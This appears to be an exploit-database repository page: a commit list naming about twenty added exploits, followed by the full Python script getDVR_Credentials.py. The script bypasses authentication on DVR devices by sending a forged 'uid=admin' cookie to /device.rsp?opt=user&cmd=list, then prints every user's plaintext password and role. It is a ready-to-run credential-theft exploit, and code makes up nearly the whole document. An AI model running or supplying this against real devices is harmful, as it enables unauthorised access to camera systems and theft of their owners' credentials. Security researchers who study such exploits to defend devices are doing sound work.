813a3efbb5
20 changes to exploits/shellcodes Allok QuickTime to AVI MPEG DVD Converter 3.6.1217 - Buffer Overflow Jnes 1.0.2 - Stack Buffer Overflow Socusoft Photo 2 Video Converter 8.0.0 - Local Buffer Overflow netek 0.8.2 - Denial of Service Cisco Smart Install - Crash (PoC) Schneider Electric InduSoft Web Studio and InTouch Machine Edition - Denial of Service Linux Kernel < 4.17-rc1 - 'AF_LLC' Double Free Linux Kernel 2.6.32 < 3.x.x (CentOS) - 'PERF_EVENTS' Local Privilege Escalation (1) Linux Kernel 2.6.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Privilege Escalation (1) Adobe Reader PDF - Client Side Request Injection Windows - Local Privilege Escalation Apache Struts Jakarta - Multipart Parser OGNL Injection (Metasploit) Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - 'Jakarta' Multipart Parser OGNL Injection (Metasploit) Adobe Flash < 28.0.0.161 - Use-After-Free Norton Core Secure WiFi Router - 'BLE' Command Injection (PoC) GPON Routers - Authentication Bypass / Command Injection TBK DVR4104 / DVR4216 - Credentials Leak Call of Duty Modern Warefare 2 - Buffer Overflow Squirrelcart 1.x.x - 'cart.php' Remote File Inclusion Squirrelcart 1.x - 'cart.php' Remote File Inclusion Infinity 2.x.x - options[style_dir] Local File Disclosure Infinity 2.x - 'options[style_dir]' Local File Disclosure PHP-Nuke 8.x.x - Blind SQL Injection PHP-Nuke 8.x - Blind SQL Injection WHMCompleteSolution (WHMCS) 3.x.x < 4.0.x - 'cart.php' Local File Disclosure WHMCompleteSolution (WHMCS) 3.x < 4.0.x - 'cart.php' Local File Disclosure WHMCompleteSolution (WHMCS) 3.x.x - 'clientarea.php' Local File Disclosure WHMCompleteSolution (WHMCS) 3.x - 'clientarea.php' Local File Disclosure Ajax Availability Calendar 3.x.x - Multiple Vulnerabilities Ajax Availability Calendar 3.x - Multiple Vulnerabilities vBulletin vBSEO 4.x.x - 'visitormessage.php' Remote Code Injection vBulletin vBSEO 4.x - 'visitormessage.php' Remote Code Injection WordPress Theme Photocrati 4.x.x - SQL Injection / Cross-Site Scripting WordPress Theme Photocrati 4.x - SQL Injection / Cross-Site Scripting Subrion 3.X.x - Multiple Vulnerabilities Subrion 3.x - Multiple Vulnerabilities Ciuis CRM 1.0.7 - SQL Injection LifeSize ClearSea 3.1.4 - Directory Traversal WordPress Plugin Activity Log 2.4.0 - Cross-Site Scripting DLINK DCS-5020L - Remote Code Execution (PoC) Apache Struts2 2.0.0 < 2.3.15 - Prefixed Parameters OGNL Injection
120 lines
No EOL
3.4 KiB
Python
Executable file
120 lines
No EOL
3.4 KiB
Python
Executable file
# -*- coding: utf-8 -*-
|
|
import json
|
|
import requests
|
|
import argparse
|
|
import tableprint as tp
|
|
|
|
class Colors:
|
|
BLUE = '\033[94m'
|
|
GREEN = '\033[32m'
|
|
RED = '\033[0;31m'
|
|
DEFAULT = '\033[0m'
|
|
ORANGE = '\033[33m'
|
|
WHITE = '\033[97m'
|
|
BOLD = '\033[1m'
|
|
BR_COLOUR = '\033[1;37;40m'
|
|
|
|
banner = '''
|
|
__..--.._
|
|
..... .--~ ..... `.
|
|
.": "`-.. . .' ..-'" :". `
|
|
` `._ ` _.'`"( `-"'`._ ' _.' '
|
|
~~~ `. ~~~
|
|
.'
|
|
/
|
|
(
|
|
^---'
|
|
|
|
|
|
[*] @capitan_alfa
|
|
'''
|
|
|
|
details = '''
|
|
# Exploit Title: DVRs; Credentials Exposed
|
|
# Date: 09/04/2018
|
|
# Exploit Author: Fernandez Ezequiel ( @capitan_alfa )
|
|
'''
|
|
parser = argparse.ArgumentParser(prog='getDVR_Credentials.py',
|
|
description=' [+] Obtaining Exposed credentials',
|
|
epilog='[+] Demo: python getDVR_Credentials.py --host 192.168.1.101 -p 81',
|
|
version="1.1")
|
|
|
|
parser.add_argument('--host', dest="HOST", help='Host', required=True)
|
|
parser.add_argument('--port', dest="PORT", help='Port', default=80)
|
|
|
|
args = parser.parse_args()
|
|
|
|
HST = args.HOST
|
|
port = args.PORT
|
|
|
|
headers = {}
|
|
|
|
fullHost_1 = "http://"+HST+":"+str(port)+"/device.rsp?opt=user&cmd=list"
|
|
host = "http://"+HST+":"+str(port)+"/"
|
|
|
|
print Colors.GREEN+banner+Colors.DEFAULT
|
|
|
|
|
|
def makeReqHeaders(xCookie):
|
|
headers["Host"] = host
|
|
headers["User-Agent"] = "Morzilla/7.0 (911; Pinux x86_128; rv:9743.0)"
|
|
headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
|
|
headers["Accept-Languag"] = "es-AR,en-US;q=0.7,en;q=0.3"
|
|
headers["Connection"] = "close"
|
|
headers["Content-Type"] = "text/html"
|
|
headers["Cookie"] = "uid="+xCookie
|
|
|
|
return headers
|
|
|
|
try:
|
|
rX = requests.get(fullHost_1,headers=makeReqHeaders(xCookie="admin"),timeout=10.000)
|
|
except Exception,e:
|
|
print Colors.RED+" [+] Timed out\n"+Colors.DEFAULT
|
|
exit()
|
|
|
|
badJson = rX.text
|
|
try:
|
|
dataJson = json.loads(badJson)
|
|
totUsr = len(dataJson["list"]) #--> 10
|
|
except Exception, e:
|
|
print " [+] Error: "+str(e)
|
|
print " [>] json: "+str(rX)
|
|
# print " [>] Reuest: \n"+str(makeReqHeaders(xCookie="admin"))
|
|
exit()
|
|
|
|
|
|
print Colors.GREEN+"\n [+] DVR (url):\t\t"+Colors.ORANGE+str(host)+Colors.GREEN
|
|
print " [+] Port: \t\t"+Colors.ORANGE+str(port)+Colors.DEFAULT
|
|
|
|
print Colors.GREEN+"\n [+] Users List:\t"+Colors.ORANGE+str(totUsr)+Colors.DEFAULT
|
|
print " "
|
|
|
|
final_data = []
|
|
try:
|
|
for obj in range(0,totUsr):
|
|
|
|
temp = []
|
|
|
|
_usuario = dataJson["list"][obj]["uid"]
|
|
_password = dataJson["list"][obj]["pwd"]
|
|
_role = dataJson["list"][obj]["role"]
|
|
|
|
temp.append(_usuario)
|
|
temp.append(_password)
|
|
temp.append(_role)
|
|
|
|
final_data.append(temp)
|
|
|
|
hdUsr = Colors.GREEN + "Username" + Colors.DEFAULT
|
|
hdPass = Colors.GREEN + "Password" + Colors.DEFAULT
|
|
hdRole = Colors.GREEN + "Role ID" + Colors.DEFAULT
|
|
|
|
cabeceras = [hdUsr, hdPass, hdRole]
|
|
|
|
tp.table(final_data, cabeceras, width=20)
|
|
|
|
except Exception, e:
|
|
print "\n [!]: "+str(e)
|
|
print " [+] "+ str(dataJson)
|
|
|
|
print "\n" |